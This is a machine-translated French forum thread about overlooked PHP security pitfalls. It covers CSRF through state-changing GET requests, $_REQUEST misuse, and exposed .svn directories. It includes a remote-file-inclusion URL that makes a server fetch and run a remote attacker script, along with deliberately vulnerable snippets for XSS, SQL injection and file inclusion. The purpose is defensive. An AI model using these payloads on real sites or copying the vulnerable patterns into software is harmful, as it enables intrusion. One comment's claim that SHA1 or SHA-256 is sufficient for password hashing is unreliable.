Je sais que des questions comme celle-ci ont été posées une centaine de fois, mais la mienne est un peu différente. Je connais tous les problèmes de sécurité courants et connus comme l'injection SQL, XSS, etc. Mais qu'en est-il des problèmes qui apparaissent souvent mais ne sont pas reconnus la plupart du temps ou ne sont pas considérés comme des vulnérabilités? Y a-t-il?Pièges de sécurité PHP inconnus courants
une chose que j'ai vu beaucoup qui obtient développé comme une caractéristique et non considéré comme un trou de sécurité jusqu'à ce qu'il soit trop tard sont demandes GET à changement d'état. Ceux-ci peuvent facilement entraîner cross-site request forgery. Par exemple, votre application peut avoir un lien vers http://mysite.com/logout qui déconnecte les utilisateurs. Mais un site tiers peut ajouter du code comme ceci:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Ensuite, lorsque les utilisateurs se chargent de la page sur evil.com, ils sont déconnectés de mysite.com!
Les pires problèmes se produisent lorsque les sites implémentent une API utilisant des requêtes GET à changement d'état. Par exemple, si je courais un site de réseautage social avec des URL comme site.com/addfriend, site.com/sendmessage, etc. et que je donnais ces URL aux développeurs qui allaient faire des applications pour mon site, les développeurs devraient gérer un changement d'API lorsque la vulnérabilité de sécurité a été découverte.
Exiger un POST pour les demandes de changement d'état est certainement la bonne chose à faire, mais n'est pas suffisant pour arrêter XSRF. – bobince
Absolument! Je ne voulais pas laisser entendre que le test POST était suffisant. Il y a des informations sur la prévention de XSRF dans l'article wikipedia lié. – Annie
Manque de procédures pour se protéger contre les attaques d'ingénierie sociale? Par exemple, un attaquant appelant un bureau et usurpant l'identité d'une personne dans le but d'obtenir des mots de passe.
Mauvaise politique de création, de distribution et de protection des mots de passe.
La fissuration du compte FTP peut entraîner le téléchargement de code malveillant sur votre site.
Les serveurs d'hébergement tiers faibles/vulnérables peuvent compromettre votre site, peu importe le temps passé à le sécuriser.
En utilisant $_REQUEST au lieu de $_GET ou $_POST, ce qui est une mauvaise idée car $_REQUEST contient également des cookies, et il ouvre la porte pour Variable Fixation
Pas vraiment spécifique à PHP, applique à toutes les langues interprétées : visibility of .svn/.CVS directories
lol @ public .svn répertoires. toujours bon. – pestilence669
J'aime le premier. Quel est exactement le problème du second? – Franz
Oh, tant pis. Je t'ai eu. – Franz
PHP existe depuis plus de 10 ans et a beaucoup évolué.
Méfiez-vous des valeurs par défaut lax dans php.ini.
J'ai travaillé sur une pile de rebut une fois où les gestionnaires fopen étaient activés comme l'était "globals registre". L'inclusion a ressemblé à:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>Ce que cela a permis à quiconque de faire est d'exécuter à distance le code qu'ils voulaient. Voici: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP va chercher le fichier texte sur HTTP et l'exécuter localement. Puisque Apache fonctionnait en tant que root ... eh bien, vous avez l'idée.
Uaargh ... wow, c'est vraiment moche. – Franz
Le fichier distant a été désactivé par défaut depuis longtemps. – rook
Oui, mais pas sur PHP4. Croyez-le ou non, mais leur code n'était pas compatible avec les interpréteurs 5.x, donc j'ai corrigé le binaire pour désactiver fopen sur les instructions include. – pestilence669
Voici quelques-unes que j'ai travaillé sur:
Juste quelques idées et choses que j'ai traitées. J'espère que cela aide!
Merci. Bon long post. – Franz
La plupart des tutoriels (plus anciens) vous disent généralement d'utiliser MD5 pour hacher les mots de passe mais gardez à l'esprit que ce n'est pas très sécurisé, vous avez besoin de quelque chose de plus fort comme SHA-256 ou SHA1. – TravisO
Et vous devez hmac it, pas simplement hash: http://www.php.net/manual/fr/function.hash-hmac.php – Arkh
Voici quelques-uns des pièges que j'ai vu:
1. entités s'échappant
Il est des connaissances de base; TOUTES les entrées non fiables (en particulier les entrées utilisateur des formulaires) doivent être nettoyées avant leur sortie.
echo $_GET['username'];
2. Non Échapper entrée SQL
$query = "select * fromt able where id = {$_GET['id']}";
3.Exiger et y compris les fichiers de manière incorrecte
include($_GET['filename']);
4. Double détection des guillemets
Si magic_quotes_gpc est vrai, en utilisant addslahes ajoutera encore une barre oblique ajoutant ainsi deux barres obliques en tout.
Beaucoup de messages ne sont pas spécifiques à PHP. Je suis sûr qu'il y a des pièges de langage mais comme vous le voyez dans les articles, il est très important de mettre en œuvre les meilleures pratiques en matière de sécurité (comme le filtrage des entrées des utilisateurs). Un bon début pour les applications Web sécurisées est OWASP. Et pour être sur le sujet: Security Issues in PHP on OWASP.
A bientôt
Qu'est-ce que XSS a à voir avec PHP? –
S'ils sont «inconnus», ils ne sont probablement pas «communs», et personne ne pourra vous parler de choses dont ils n'ont jamais entendu parler. –
@Anon: Ne pas échapper la sortie peut conduire à XSS ... C'est ce que je voulais dire. @NSD: Vous avez probablement raison, mais je voulais prendre le risque;) Il pourrait y avoir quelqu'un qui se promène ici qui a découvert quelque chose d'intéressant, etc – Franz